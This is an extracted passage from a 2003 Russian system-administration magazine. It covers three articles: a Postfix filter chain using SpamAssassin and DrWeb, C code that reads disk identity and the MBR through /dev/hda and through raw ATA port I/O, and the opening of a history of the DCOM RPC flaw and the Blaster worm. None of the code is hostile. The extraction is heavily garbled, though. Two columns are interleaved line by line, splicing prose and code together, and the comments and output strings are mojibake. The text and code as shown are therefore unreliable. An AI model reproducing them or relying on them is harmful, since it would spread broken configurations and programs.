* èñïîëüçóéòå îïöèþ "-D" äëÿ îòëàäêè.
SpamAssassin как один-единственный фильтр, думаю, * íå çàáóäüòå ïðîïèñàòü spamd â ñòàðòîâûõ ñêðèïòàõ
проблем особых возникнуть не должно. Схема про-
ста, в master.cf прописывам фильтр, например, spam, Уже можно протестировать SpamAssassin. Сохраните
с опцией: спамовское письмо, которое пришло к вам, на сервере и
подайте его на вход spamc (желательно сразу использо-
-o content_filter=spam вать параметр -u user).

daemon smtpd, говорим «использовать фильтр spam». /usr/bin/spamc -u spam -e /usr/sbin/sendmail –t ↵


</path/to/spam_mail
Письмо, пришедшее на smtp, переправляется на spamс,
spamс проверяет и с помощью sendmail возвращает об- Письмо пройдет проверку и вернется в очередь MTA,
ратно в очередь. затем опять упадет к вам в Home_Dir. Можете проверять
почтовый ящик. Если spamd был запущен с опцией «-D» –
--- MASTER.CF --- в лог-файле (скорее всего в /var/log/maillog) вы найдете
#=====================================================================
# service type private unpriv chroot wakeup maxproc command+args подробный отчет о проделанной работе. Работает? От-
# (yes) (yes) (yes)(never) (100) лично, прикручиваем фильтр в Postfix. (Не работает? Вни-
#=====================================================================
smtp inet n - n - 50 smtpd мательно прочтите сообщения в лог-файле.)
-o content_filter=spam:dummy Приступим к настройке Postfix. (DrWeb настроен и нор-
...
# SpamAssassin Filter мально работает.) Есть как минимум два варианта, как
# подключить SpamAssassin к Postfix.
====================================================================
spam unix - n n - - pipe  Первый способ я нашел в статье reVen [6]. Его суть:
flags=R user=spam argv=/usr/bin/spamc -u spam -e ↵ передача почты от сервиса к сервису, прописанных в
/usr/sbin/sendmail -t
--- END MASTER.CF --- master.cf. Но мне такой способ не понравился. Зачем
дополнительно использовать Perl в перенаправления
(Кстати, с «:dummy» надо еще поэкспериментировать.) с сокета на сокет? Можно вообще без лишних сокетов
Но SpamAssassin у меня не единственный фильтр, есть (мое личное мнение).
еще и DrWeb. Вот как было все прописано до использова-  Может, я изобрел велосипед, но дошел до этого сам, хотя
ния SpamAssassin. ничего сложного в нем нет. Изменяем в master.cf фильт-
р\сервис drweb, в сумме получаем следующий файл:
--- MASTER.CF ---
#===================================================================== --- MASTER.CF ---
# service type private unpriv chroot wakeup maxproc command+args #=====================================================================
# (yes) (yes) (yes)(never) (100) # service type private unpriv chroot wakeup maxproc command+args
#===================================================================== # (yes) (yes) (yes) (never) (100)
smtp inet n - n - 50 smtpd #=====================================================================
-o content_filter=drweb:dummy smtp inet n - n - 50 smtpd

№9(10), сентябрь 2003 51


администрирование
-o content_filter=drweb:dummy не работает, внимательно прочтите лог-файлы.
...
# DrWeb AntiVirus Filter and SpamAssassin Filter
# Ссылки:
====================================================================
drweb unix - n n - - pipe 1. SpamAssassin Homesite: http://www.spamassassin.org, в
flags=R статье описывается версия 2.55.
user=drweb
argv=/usr/local/sbin/postfix_filter -f ${sender} ↵ 2. h t t p : / / w w w . s p a m a s s a s s i n . o r g / d o c /
-- ${recipient} Mail_SpamAssassin_Conf.html
--- END MASTER.CF ---
3. http://www.yrex.com/spam/spamconfig.php
А вот и маленький, да удаленький скриптик на BASH, 4. http://www.perl.com/CPAN – все необходимое для Perl.
который получает письмо от Postfix, проверяет его на spam 5. Postfix Homesite: http://www.postfix.org
с помощью spamc и отдает его (письмо) антивирусу DrWeb. 6. h t t p : / / r a v e n . e l k . r u / u n i x / h o w - t o / p o s t f i x 2 + c y r u s -
sasl2+kav+spamassassin+courier-
--- /usr/local/sbin/postfix_filter --- imap+tls+mysql+FreeBSD4/postfix2+cyrus-
#!/bin/sh
sasl2+kav+spamassassin+courier-
(/usr/bin/spamc -u spam -s 1024000 | ↵ imap+tls+mysql+FreeBSD4.html – вариант использова-
/opt/drweb/drweb-postfix $@) <&0
--- END /usr/local/sbin/postfix_filter --- ния Postfix + SpamAssassin
* -s – ìàêñèìàëüíûé ðàçðåð ïðîâåðÿåìîãî ïèñüìà, 7. Статьи по настройке Postfix: http://www.onix.opennet.ru/
* ïî óìîë÷àíèþ 250k
mail/mail.html; http://linuxnews.ru/docs/new/isp-mail/
Вот и вся настройка. Еще раз повторюсь, если что-то version1.2/isp-mail-howto.1.2.rus.txt

52
hardware

РАБОТА С ЖЕСТКИМ ДИСКОМ


НА ПРОГРАММНОМ УРОВНЕ

ВЛАДИМИР МЕШКОВ

54
hardware
В номере 3(4) журнала «Системный администратор» была файла устройства, структура struct block_device_operations
опубликована статья Алексея Серебрякова «Основы сис- содержит функции, выполняемые драйвером устройства.
тем хранения данных». В продолжение данной темы да- Однако функции read и write в этой структуре отсутству-
вайте рассмотрим, как осуществить доступ к IDE-диску ют. Дело в том, что пользовательский процесс не выпол-
на программном уровне при помощи файла устройства и няет напрямую операции чтения/записи в блочное устрой-
через порты ATA-контроллера. ство. Для этой цели драйвер предоставляет системе ме-
ханизм request, и все операции ввода/вывода выполня-
Файлы устройств ются через буферный кеш системы, но это тема для от-
Файл – основа любой операционной системы, посколь- дельной статьи.
ку именно с ним производится наибольшее число дей- При снятии регистрации соответствующий элемент
ствий. В UNIX- и POSIX-системах существуют файлы сле- массива blkdevs обнуляется:
дующих типов:
 обычный файл; int unregister_blkdev(unsigned int major, const char * name)
{
 каталог; ....
 FIFO-файл; blkdevs[major].name = NULL;
blkdevs[major].bdops = NULL;
 байт-ориентированный файл устройства; return 0;
 блок-ориентированный файл устройства. }

Блок-ориентированный файл устройства служит для Таблица символьных устройств определена в фай-
представления физического устройства, которое пере- ле fs/devices.c и также является массивом структур, ко-
дает данные блоками. Примером блок-ориентированно- торый заполняется при регистрации устройства в сис-
го устройства является жесткий диск. Байт-ориентиро- теме:
ванный файл устройства служит для представления фи-
зического устройства, которое передает данные побай- struct device_struct {
const char * name;
тово (например, модем). Прикладная программа может struct file_operations * fops;
выполнять операции чтения и записи с файлом устрой- };
ства так же, как с обычным файлом, а операционная static struct device_struct chrdevs[MAX_CHRDEV];
система будет автоматически вызывать соответствую-
щий драйвер устройства для выполнения фактической Структура struct file_operations определена в файле
передачи данных между физическим устройством и при- <linux/fs.h> и содержит функции, выполняемые драйве-
ложением. Файл устройства создается командой mknod, ром символьного устройства.
одним из аргументов которой является старший номер Когда пользовательский процесс читает данные из
устройства (major device number). По сути, старший но- файла устройства или записывает их, ядро, используя
мер – это индекс в таблице ядра, которая содержит ад- старший номер устройства в качестве индекса, находит в
реса всех драйверов, известных системе. В ОС Linux соответствующей таблице нужную процедуру драйвера и
создаются две таблицы – таблица блочных устройств выполняет запрашиваемое действие.
(block device switch) и таблица символьных устройств Кроме операций чтения/записи драйвер также предо-
(character device switch). Обе таблицы являются масси- ставляет возможность управления устройством. Опера-
вом структур и проиндексированы при помощи значе- ция управления осуществляется при помощи функции
ния старшего номера устройства. Таблица блочных ус- ioctl. Эта функция вызывается пользовательским процес-
тройств определена в файле fs/block_dev.c следующим сом и имеет следующий прототип:
образом:
int ioctl(int fd, int cmd, ...);
static struct {
const char *name;
struct block_device_operations *bdops; Аргументы функции: int fd – файловый дескриптор ус-
} blkdevs[MAX_BLKDEV]; тройства; int cmd – команда, посылаемая устройству. Тре-
тий параметр является специфичным для каждого устрой-
Этот массив заполняется во время регистрации блочно- ства, поэтому в прототипе функции не указан.
го устройства в системе. Для регистрации устройства соот-
ветствующий драйвер вызывает функцию register_blkdev (см. Доступ к жесткому диску
файл fs/block_dev.c): через файл устройства
Предположим, что в системе присутствует один нако-
int register_blkdev(unsigned int major, const char * name, питель на жестком магнитном диске, который подклю-
struct block_device_operations *bdops)
{ чен как Primary Master. Согласно обозначениям блоч-
.... ных устройств, принятым в ОС Linux, ему соответству-
blkdevs[major].name = name;
blkdevs[major].bdops = bdops; ет файл устройства /dev/hda. Разработаем программ-
return 0; ный модуль, выполняющий чтение первого сектора
}
(MBR) и получающий информацию об устройстве, та-
Аргумент major – старший номер устройства, name – имя кой, как модель жесткого диска, его серийный номер,

№9(10), сентябрь 2003 55


hardware
геометрию (число цилиндров/головок/секторов) и чис- read(hda,sector,sizeof(sector));
write(sect,sector,sizeof(sector));
ло логических блоков.
Нам понадобятся следующие заголовочные файлы: close(hda);
close(sect);
#include <stdio.h> return (0);
#include <fcntl.h> }
#include <unistd.h>
#include <sys/types.h> Как вы видите, доступ к жесткому диску через файл
#include <errno.h>
#include <linux/hdreg.h> устройства наиболее простой и удобный, т.к. позволя-
ет абстрагироваться от деталей функционирования ус-
В файле <linux/hdreg.h> определена структура struct тройства.
hd_driveid, предназначенная для хранения информации Давайте теперь посмотрим на жесткий диск с точки
идентификации устройства, и перечень команд управле- зрения драйвера, но в начале – немного теории.
ния устройством.

int main()
{
Интерфейс АТА
Ниже приведены краткие сведения об интерфейсе АТА-2.
struct hd_driveid ide; Для получения детальной информации обратитесь к спе-
int hda, sect;
char sector[512]; цификации.

Для доступа к устройству достаточно стандартным Регистры АТА-контроллера


способом открыть соответствующий файл устройства: Каждое устройство АТА (жесткий диск с интерфейсом
АТА) имеет стандартный набор регистров, адресуемых
hda=open("/dev/hda",O_RDONLY); сигналами от хост-адаптера (средства сопряжения интер-
if(!hda) {
perror("hda"); фейса АТА с системной шиной). Набор регистров состоит
} из двух блоков – блока командных регистров и блока уп-
sect=open("mbr",O_CREAT|O_RDWR,0600); равляющих регистров.
if(!sect) { Блок командных регистров служит для посылки команд
perror("sect");
} устройству и передачи информации о его состоянии. Со-
став блока командных регистров:
Для получения информации идентификации устрой-  Регистр состояния/команд – в режиме чтения отража-
ства посылаем команду HDIO_GET_IDENTITY. Коман- ет текущее состояние устройства в процессе выпол-
да идентификации позволяет считать из контроллера нения команды. Чтение регистра состояния разреша-
блок из 256 слов, характеризующих устройство. Резуль- ет дальнейшее изменение его бит и сбрасывает зап-
тат будет сохранен в структуре struct hd_driveid ide, ад- рос аппаратного прерывания. В режиме записи при-
рес которой задается в качестве третьего аргумента нимает коды команд для выполнения. Назначение бит
функции ioctl: регистра состояния:
 Бит 7 – BSY (Busy) указывает на занятость устрой-
if(ioctl(hda,HDIO_GET_IDENTITY,&ide)) ↵ ства. При единичном значении устройство игнори-
perror ("HDIO_GET_IDENTITY");
рует попытки записи в блок командных регистров.
Как уже было упомянуто, перечень команд управле- При нулевом значении этого бита регистры коман-
ния устройством определен в файле <linux/hdreg.h>. На- дного блока доступны. Бит устанавливается под
пример, команды включения 32-битного режима обмена действием аппаратного или программного сброса,
данными, режима DMA и мультисекторного чтения выг- а также при получении команды.
лядят следующим образом:  Бит 6 – DRDY (Device Ready) указывает на готов-
ность устройства к восприятию любых кодов ко-
static u_long dma=1, io32set=1, mult=16; манд.
if(ioctl(hda,HDIO_SET_32BIT,io32set)) ↵
perror("HDIO_SET_32BIT");  Бит 5 – DF (Device Fault) – индикатор отказа уст-
if(ioctl(hda,HDIO_SET_DMA,dma)) perror("HDIO_SET_DMA"); ройства.
if(ioctl(hda,HDIO_SET_MULTCOUNT,mult)) ↵
perror("HDIO_SET_MULTCOUNT");  Бит 4 – DSC (Device Seek Complite) – индикатор за-
вершения поиска трека.
Отобразим информацию идентификации устройства:  Бит 3 – DRQ (Data Request) – индикатор готовнос-
ти к обмену словом или байтом данных.
printf("Ñåðèéíûé íîìåð – %s\n",ide.serial_no);  Бит 2 – CORR (Correct Data) – индикатор исправ-
printf("Ìîäåëü – %s\n",ide.model);
printf("×èñëî ëîãè÷åñêèõ áëîêîâ – %d\n",ide.lba_capacity); ленной ошибки данных.
printf("×èñëî öèëèíäðîâ – %d\n",ide.cyls);  Бит 1 – IDX (Index) – индекс трактуется специфично
printf("×èñëî ãîëîâîê – %d\n",ide.heads);
printf("×èñëî ñåêòîðîâ – %d\n",ide.sectors); для каждого производителя. Бит 0 – ERR (Error) –
индикатор ошибки выполнения предыдущей опе-
Считываем первый сектор и сохраняем его в отдель- рации. Дополнительная информация содержится в
ном файле: регистре ошибок.

56
hardware
 Регистр номера цилиндра (старшего и младшего #define HD_SECTOR 0x1f3
/* ðåãèñòð ìëàäøåãî áàéòà íîìåðà öèëèíäðà
байта) и номера сектора имеют двоякое назначение */#define HD_LCYL 0x1f4
в зависимости от выбранной системы адресации /* ðåãèñòð ñòàðøåãî áàéòà íîìåðà öèëèíäðà */
#define HD_HCY 0x1f5
(CHS или LBA). Они инициализируются хост-адап- /* 101dhhhh, d=óñòðîéñòâî, hhhh=ãîëîâêà */
тером, а в случае возникновения ошибки при опе- #define HD_CURRENT 0x1f6
/* ðåãèñòð ñîñòîÿíèÿ/êîìàíä */
рации устройство поместит в них адрес, по которо- #define HD_STATUS 0x1f7
му встретилась ошибка.
 Регистр номера устройства и головки, кроме хране-
ния части адресной информации, служит для выбо- Протокол взаимодействия
ра ведущего или ведомого устройства (Device-0 и Обычный протокол взаимодействия хоста с устройством
Device-1 согласно спецификации ATA) и метода ад- выглядит следующим образом:
ресации. 1. Хост читает регистр состояния устройства, дожидаясь
 Биты 7 и 5 – зарезервированы. нулевого значения бита BSY.
 Бит 6 – единичным значением указывает на при- 2. Дождавшись освобождения устройства, хост записы-
менение режима адресации LBA. При нулевом зна- вает в регистр номера устройства и головки байт, у
чении бита используется режим CHS. которого бит DEV указывает на адресуемое устрой-
 Бит 4 – DEV (Device) – выбор устройства. При DEV=0 ство.
выбрано устройство-0 (Master), при DEV=1 – уст- 3. Хост читает основной регистр состояния адресован-
ройство-1 (Slave). ного устройства, дожидаясь признака его готовности
 Биты 3-0 имеют двоякое назначение, в зависимос- (DRDY = 1).
ти от выбранной системы адресации. В режиме CHS 4. Хост заносит требуемые параметры в блок командных
они содержат номер головки, в режиме LBA – стар- регистров.
шие биты логического адреса. 5. Хост записывает код команды в регистр команд.
 Регистр данных может использоваться как 8-битный и 6. Устройство устанавливает бит BSY и переходит к ис-
16-битный, в зависимости от типа данных, передавае- полнению команды.
мых в текущей команде.
 Регистр ошибок хранит состояние выполнения после- Для команд, не требующих передачи данных (ND):
дней операции или диагностический код. 7. Завершив исполнение команды, устройство сбрасы-
 Регистр свойств (Features Register) используется в за- вает бит BSY и устанавливает запрос прерывания. К
висимости от команды. этому моменту в регистрах состояния и ошибок уже
 Регистр счетчика секторов содержит число секторов, имеется информация о результате выполнения.
участвующих в обмене. Нулевое значение соответству-
ет 256 секторам. Для команд, требующих чтения данных в режиме PIO:
7. Подготовившись к передаче первого блока данных по
Блок управляющих регистров используется для уп- шине АТА, устройство устанавливает бит DRQ. Если
равления устройством и получения байта его состояния. была ошибка, она фиксируется в регистрах состояния
В состав блока входят альтернативный регистр состоя- и ошибок. Далее устройство сбрасывает бит BSY и ус-
ния и регистр управления устройством. Альтернативный танавливает запрос прерывания.
регистр состояния имеет те же биты, что и основной, но 8. Зафиксировав обнуление бита BSY (или по прерыва-
его чтение не приводит ни к каким изменениям состоя- нию), хост считывает регистр состояния, что приводит
ния устройства. к сбросу прерывания от устройства.
В регистре управления устройством биты 7-3 заре- 9. Если хост обнаружил единичное значение бита DRQ,
зервированы, бит 0 всегда нулевой, используются толь- он производит чтение первого блока данных в режи-
ко два бита: ме PIO (адресуясь к регистру данных). Если обнару-
 Бит 2 – SRST (Software Reset) – программный сброс жена ошибка, считанные данные могут быть недосто-
действует все время, пока бит не будет сброшен. Оба верными.
устройства шины воспринимают программный сброс
одновременно. После передачи блока данных возможно одно из сле-
 Бит 1 – IEN# (Interrupt Enable) – инверсный бит разре- дующих действий:
шения прерывания.  если на шаге 8 ошибка не обнаружена, а требуется
передача следующего блока, устройство устанавлива-
Адреса регистров контроллера устройства 0 опреде- ет бит BSY, и данная последовательность повторяет-
лены в файле <linux/hdreg.h>: ся с шага 7.
 если есть ошибка или передан последний блок дан-
/* ðåãèñòð äàííûõ */ ных, устройство сбрасывает бит DRQ и выполнение
#define HD_DATA 0x1f0
/* ðåãèñòð îøèáîê */ команды завершается.
#define HD_ERROR 0x1f1
/* ðåãèñòð ñ÷åò÷èêà ñåêòîðîâ */
#define HD_NSECTOR 0x1f2 Операцию записи на жесткий диск рассматривать не
/* ðåãèñòð ñòàðòîâîãî ñåêòîðà */ будем.

№9(10), сентябрь 2003 57


hardware
Доступ к жесткому диску Функция проверки готовности устройства к обмену
через порты АТА-контроллера данными:
Задача прежняя – получить информацию идентифика-
ции устройства и считать MBR. Рассмотрим программ- int hd_data_request()
{
ный код. unsigned char status;
Заголовочные файлы: IN_P_B(status,HD_STATUS);
if(status & 0x8) return 1;
return 0;
}
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/hdreg.h> Если бит 3 (DRQ) регистра состояния установлен, дан-
ные находятся в регистре данных и готовы для считывания.
Для работы с портами ввода/вывода определим не- Следующая функция проверяет, не произошла ли
сколько макросов: ошибка при работе устройства:

#define OUT_P_B(val,port) \ void check_error()


asm( \ {
"outb %%al, %%dx" \ unsigned char a;
::"a"(val),"d"(port) \
) IN_P_B(a,HD_STATUS);
if (a & 0x1) {
perror("HD_STATUS");
#define IN_P_B(val,port) \ exit(-1);
asm( \ }
"inb %%dx, %%al" \ return;
:"=a"(val) \ }
:"d"(port) \
) Установленный бит 0 (ERR) регистра состояния озна-
чает, что при выполнении последней операции произош-
#define IN_P_W(val,port) \ ла ошибка. Дополнительная информация содержится в ре-
asm( \
"inw %%dx, %%ax" \ гистре ошибок.
:"=a"(val) \ А теперь рассмотрим функцию получения информа-
:"d"(port) \
) ции идентификации устройства.

Макрос OUT_P_B осуществляет запись байта в порт, void get_hd_identity(struct hd_driveid *hd)
{
макросы IN_P_B и IN_P_W – чтения байта/слова из порта.
Для работы с устройством определим несколько фун- unsigned short a = 0;
int i = 0;
кций.
Функция проверки статуса устройства (занято/свобод- unsigned short buff1[0x100];
memset(buff1,0,0x100);
но):
В соответствии с протоколом взаимодействия прове-
void hd_busy() ряем статус устройства. Оно должно быть свободно:
{
unsigned char status;
hd_busy();
do {
IN_P_B(status,HD_STATUS);
} while (status & 0x80); Как только устройство освободилось, в регистр но-
return;
} мера устройства и головки заносим значение 0xA0
(10100000 в двоичном виде). Бит 4 (DEV) равен 0, сле-
Проверка статуса устройства осуществляется провер- довательно, нами выбрано ведущее устройство. Режим
кой значения бита 7 (BSY) регистра состояния. Если бит адресации в данном случае роли не играет, бит 6 оста-
сброшен, устройство свободно и регистры контроллера вим нулевым:
доступны.
Функция проверки готовности устройства к восприя- OUT_P_B(0xA0,HD_CURRENT);
тию команд:
Ожидаем готовность устройства к восприятию команд:
void hd_ready()
{ hd_ready();
unsigned char status;
do {
IN_P_B(status,HD_STATUS); Итак, устройство готово. В регистр команд (HD_STATUS)
} while (!(status & 0x40)); записываем код команды идентификации устройства –
return;
} 0xEC. Данная команда выполняется в режиме PIO. Пол-
ный перечень команд смотрите в спецификации:
Устройство готово, если бит 6 (DRDY) регистра состо-
яния установлен. OUT_P_B(0xEC,HD_STATUS);

58
hardware
В ответ на эту команду устройство установит бит hd_ready();
DRQ и вернет блок данных, содержащих информацию
идентификации. Для считывания информации органи- В блок командных регистров заносим требуемые па-
зуем цикл: раметры:

do { OUT_P_B(N,HD_NSECTOR);
hd_busy(); OUT_P_B(s_sect,HD_SECTOR);
check_error(); OUT_P_B(s_cyl,HD_LCYL);
IN_P_W(a,HD_DATA); OUT_P_B((s_cyl >> 8),HD_HCYL);
if((i>=10 && i<=19) || (i>=27 && i<=46))
asm(
"xchgb %%ah, %%al" В регистр команд записываем код команды чтения
:"=a"(a)
:"0"(a)); секторов с повторами – 0x20. Данная команда выполня-
buff1[i++] = a; ется в режиме PIO:
} while(hd_data_request());

Дождавшись освобождения устройства, при помощи OUT_P_B(0x20,HD_STATUS);


функции check_error() читаем регистр состояния. При этом
мы сбрасываем прерывание от устройства и проверяем, Считываем блок данных в буфер buff:
не произошла ли ошибка. Затем считываем из регистра
данных значение. Считывание производим до тех пор, do {
hd_busy();
пока установлен бит DRQ. Как только будет передан пос- check_error();
ледний блок данных, устройство этот бит сбросит. Счи- IN_P_W(a,HD_DATA);
buff[i++] = a;
танную информацию сохраним в буфере buff1. } while(hd_data_request());
Копируем полученную информацию из буфера buff1 в
структуру struct hdreg hd: Считываем последние 4 байта и выходим из функции:

memcpy(hd,(struct hdreg *)buff1,0x100); IN_P_W(a,HD_DATA);


buff[i++] = a;

Очищаем буфер и выходим: IN_P_W(a,HD_DATA);


buff[i] = a;
memset(buff1,0,0x100); return;
return; }
}
Функция чтения сектора в режиме адресации LBA.
Следующая функция осуществляет чтение сектора в
режиме адресации CHS. void read_hd_sector_lba(unsigned short N, ↵
unsigned int lba, unsigned short *buff)
{
void read_hd_sector_chs(unsigned short N, ↵
unsigned short s_sect, unsigned short s_cyl, ↵ int i = 0;
unsigned short head, unsigned short *buff) unsigned short a;
{
if(!N) return;
int i = 0;
unsigned short a; Аргументы функции:
if((!N) || (!s_sect)) return;  N – число секторов для чтения;
 lba – номер блока;
Аргументы функции:  buff – буфер, куда все помещается.
 N – число секторов для чтения;
 s_sect – стартовый сектор; Ожидаем освобождения устройства:
 s_cyl – стартовый цилиндр;
 head – номер головки; hd_busy();
 buff – буфер, куда все помещается.
Спецификацией АТА-2 в режиме LBA предусмотрен 28-
Ожидаем освобождения устройства: битный адрес сектора размером 512 байт, при этом макси-
мальный объем ограничивается значением 0,5 терабайт.
hd_busy(); В регистре номера устройства и головки бит 6 уста-
навливаем в 1, а биты 3-0 будут содержать старшие биты
В регистр номера устройства и головки заносим соот- логического адреса (27-24):
ветствующие данные. Бит 6 сброшен, что указывает на
режим адресации CHS: OUT_P_B(0xE0|((lba & 0x0F000000) >> 24),HD_CURRENT);

OUT_P_B(0xA0|head,HD_CURRENT); Ожидаем готовность устройства к приему команд:

Ждем готовность устройства к приему команд: hd_ready();

№9(10), сентябрь 2003 59


hardware
В блок командных регистров заносим требуемые па- стемы разрешение доступа к портам в диапазоне 0x1f0 –
раметры: 0x1f7:

OUT_P_B(N,HD_NSECTOR); ioperm(0x1f0,8,1);

В регистр номера сектора заносим биты 7-0 логичес- Вызовем функцию получения информации идентификации.
кого адреса: Результат будет помещен в структуру struct hd_driveid hd:

get_hd_identity(&hd);
OUT_P_B((lba & 0x000000FF),HD_SECTOR);

В регистр младшего байта номера цилиндра – биты Отобразим результаты:


15-8 логического адреса:
printf("Ñåðèéíûé íîìåð – %s\n",hd.serial_no);
OUT_P_B(((lba & 0x0000FF00) >> 8),HD_LCYL); printf("Ìîäåëü – %s\n",hd.model);
printf("×èñëî öèëèíäðîâ - %d\n",hd.cur_cyls);
printf("×èñëî ãîëîâîê – %d\n",hd.cur_heads);
printf("×èñëî ñåêòîðîâ – %d\n",hd.cur_sectors);
В регистр старшего байта номера цилиндра – биты printf("×èñëî ëîãè÷åñêèõ áëîêîâ – %d\n",hd.lba_capacity);
23-16 логического адреса:
А теперь прочитаем первый сектор устройства (MBR)
OUT_P_B(((lba & 0x00FF0000) >> 16),HD_HCYL); в режиме CHS:

В регистр команд – команду чтения секторов с повто- sect = 1;


cyl = 0;
рами: head = 0;

OUT_P_B(0x20,HD_STATUS); read_hd_sector_chs(N,sect,cyl,head,buff);

Запишем в файл результат:


Получаем результат:
out=open("sect_chs", O_CREAT|O_RDWR, 0600);
do { write(out,(unsigned char *)buff,0x200*N);
hd_busy(); close(out);
check_error();
IN_P_W(a,HD_DATA); То же самое – в режиме LBA:
buff[i++] = a;
} while(hd_data_request());
lba = 0;
read_hd_sector_lba(N,lba,buff);
Считываем последние 4 байта и выходим:
out=open("sect_lba", O_CREAT|O_RDWR, 0600);
IN_P_W(a,HD_DATA); write(out,(unsigned char *)buff,0x200*N);
buff[i++] = a; close(out);

IN_P_W(a,HD_DATA); ioperm(0x1f0,8,0);
buff[i] = a; return (0);
return; }
}
Весь вышеприведенный код сохраним в файле disk.c.
Рассмотрим главную функцию: Исполняемый модуль получим, введя команду:

int main () gcc -o disk disk.c


{

Определим необходимые структуры и переменные: Работоспособность кода была проверена для ОС Linux,
версия ядра 2.4.20.
struct hd_driveid hd; Как вы понимаете, рассмотреть в рамках одной ста-
int out; тьи всю систему команд стандарта АТА не представляет-
unsigned short N = 1; ся возможным, да мы и не ставили перед собой такую
unsigned int sect, cyl, head, lba;
цель. Желающие могут продолжить освоение данной
/* темы, изучив спецификацию и систему команд стандар-
* N – ÷èñëî ñåêòîðîâ äëÿ ÷òåíèÿ
* sect – íîìåð ñåêòîðà та АТА либо исходные тексты утилиты hdparm.
* cyl – íîìåð öèëèíäðà
* head – íîìåð ãîëîâêè
* lba – íîìåð ëîãè÷åñêîãî áëîêà Литература:
*/ 1. Теренс Чан. Системное программирование на С++ для
unsigned short buff[0x100*N];
UNIX. Пер. с англ. – К.: Издательская группа BHV,
memset(buff,0,0x100*N); 1999. – 592 с.
memset(&hd,0,sizeof(struct hd_driveid));
2. Гук. М. Интерфейсы ПК: справочник – СПб: Питер Ком,
Чтобы не схлопотать Segmentation fault, запросим у си- 1999. – 416 с.

60
безопасность

ОЧЕРЕДНАЯ ВЕСКАЯ ПРИЧИНА


ЗАДУМАТЬСЯ О ПЕРЕХОДЕ
С ОС WINDOWS НА АЛЬТЕРНАТИВУ

ВИКТОР ИГНАТЬЕВ
62
безопасность
12 августа, Швеция. 40 серверов интернет-провайдера OLECHAR * szName,
ULONG cmq,
TeliaSonera в постоянной перезагрузке, администраторы в MULTI_QI * rgmqResults
панике, 20 000 клиентов подверглись атаке компьютеров );
своего же провайдера, компания на грани банкротства.
По всей Азии и Европе большинство корпоративных Переполнение буфера происходит в шестом парамет-
сетей подвергаются ежеминутной атаке. Многие корпо- ре (szName), благодаря которому возможно выполнение
рации несут тысячные убытки, т.к. компьютеры не позво- любого кода на удалённой машине.
ляют обслуживать клиентов. После публикации эксплоита от Xfocus и подробного
К концу дня информационные агентства в Дании со- объяснения на сайтах, посвященных компьютерной безо-
общили, что на данный момент парализована работа при- пасности, каждый день стали появляться новые реализа-
близительно 2000 компьютеров, и эта цифра постоянно ции от разных хак-групп. В основном отличие от ориги-
увеличивается. нального заключалось в том, что количество поражаемых
В Германии известный автомобильный гигант BMW версий Windows увеличивалось с каждым разом, снача-
признал, что многие компьютеры корпорации работают ла 7 целей, затем 18, 48 и наконец 8 июля группа oc192
некорректно. Security предоставила универсальный исходный код, по-
Что же это? Массовая атака хакеров? Или, может быть, ражающий все версии Windows 2000 и Windows XP. Пос-
сбой в операционной системе? Нет, в очередной раз весь ле этого события волна взломов в Интернете подскочила
мир стал свидетелем воплощения в жизнь реального прин- в сотни раз. Каждый скачавший этот код мог спокойно
ципа корпорации Microsoft: «Сначала деньги, а пользовате- получить административный доступ к любой Windows-си-
ли потом». Многие администраторы и простые пользовате- стеме в сети. Многие кинулись скачивать патчи с офици-
ли ещё помнят Nimda и Code Red, помнят фразу «Hacked by ального сайта Microsoft, но буквально через 3 недели сайт
chinese», и теперь этот список дополнит ещё один – оказался недоступным. В ночь c 1 на 2 августа хакеры
W32.Lovsan.worm, так же он известен как W32.Blaster. атаковали сайт Microsoft, до того считавшийся одним из
Итак, рассмотрим подробнее суть проблемы. 16 июля на наиболее защищенных ресурсов Интернета. Работа сай-
bugtraq пришло письмо от польской хакерской группы Last та была парализована на час и сорок минут. Эксперты
Stage of Delirium. Они заявили, что обнаружили критичес- связывают нападение с готовящейся массовой атакой на
кую уязвимость защиты во всех недавних версиях операци- Интернет, которую хакеры хотят осуществить через брешь
онных систем корпорации Microsoft. Уязвимость затрагива- в ОС Windows. Атака затронула как главную страницу
ет заданные по умолчанию инсталляции Windows NT 4.0, сайта http://www.microsoft.com, так и многие другие адре-
Windows 2000, Windows XP, а также Windows 2003 Server, са, включая страницу службы технической поддержки
которая, кстати, была разрекламирована как не воспри- http://www.support.microsoft.com и портал для разработчи-
имчивая к атакам на переполнение буфера. Это ещё одно ков http://www.msdn.microsoft.com.
подтверждение что «Сначала реклама, а потом дело, и Microsoft уже признала факт хакерской атаки, но при
уж после этого может быть качество». этом оградила себя от возможных домыслов по поводу
LSD предоставили общественности proof of concept использования взломщиками какой-либо уязвимости в
code, но полный исходный код эксплоита не был опубли- софте, обеспечивающем работу сайта. По словам офи-
кован, т.к. это повлекло бы за собой массовые взломы и циального представителя Microsoft Шона Сандволла, спе-
создание червей. циалистами компании установлено, что хакеры соверши-
Реакция Microsoft оказалась на редкость незамедли- ли «обычную атаку на сервер, однако не воспользовались
тельной. Буквально в этот же день на официальном сай- никакими «дырами» в программном обеспечении». О де-
те компании было опубликовано подтверждение суще- талях нападения Сандволл распространяться не стал.
ствования уязвимости. Но несмотря на «джентльменский» Но 12 августа после полудня произошло то, чего так
поступок LSD, 25 июля группа китайских хакеров Xfocus опасались LSD и все мировые организации по сетевой
опубликовала полный код эксплоита против англоязыч- безопасности. В сети появился червь, использующий
ных версий Windows 2000 и XP. уязвимость DCOM. За считанные минуты он заполонил
европейскую часть Интернета. Полный анализ червя
Так в чём же суть проблемы? предоставили большинство производителей антивирус-
Уязвимость заключается в посылке специальных дан- ных продуктов, но первый временный патч выпустила
ных удалённой машине через порт 135 (TCP/IP). Соеди- Symantec. FixBlast сканирует ваш компьютер на пред-
нение между клиентом и сервером обеспечивает служ- мет заражения Win32.Blaster, удаляет файл червя и его
ба RPC (Remote Procedure Call), которую использует ар- следы в системе. Самый полный отчёт предоставила,
хитектура DCOM. на мой взгляд, Лаборатория Касперского, т.к. только
Проблема истекает из ошибки в реализации API-фун- они объяснили принцип генерации IP-адресов и скани-
кции: рования портов жертв.

HRESULT CoGetInstanceFromFile(
COSERVERINFO * pServerInfo,
Как делают Blaster
CLSID * pclsid, Первое, что обнаружили программисты антивирусных ла-
IUnknown * punkOuter, бораторий, – это текстовые (ASCII) строки внутри файла
DWORD dwClsCtx,
DWORD grfMode, следующего содержания:

№9(10), сентябрь 2003 63


безопасность
I just want to say LOVE YOU SAN!! поэтому в большинстве версий Windows отказывает кри-
billy gates why do you make this possible ? Stop making
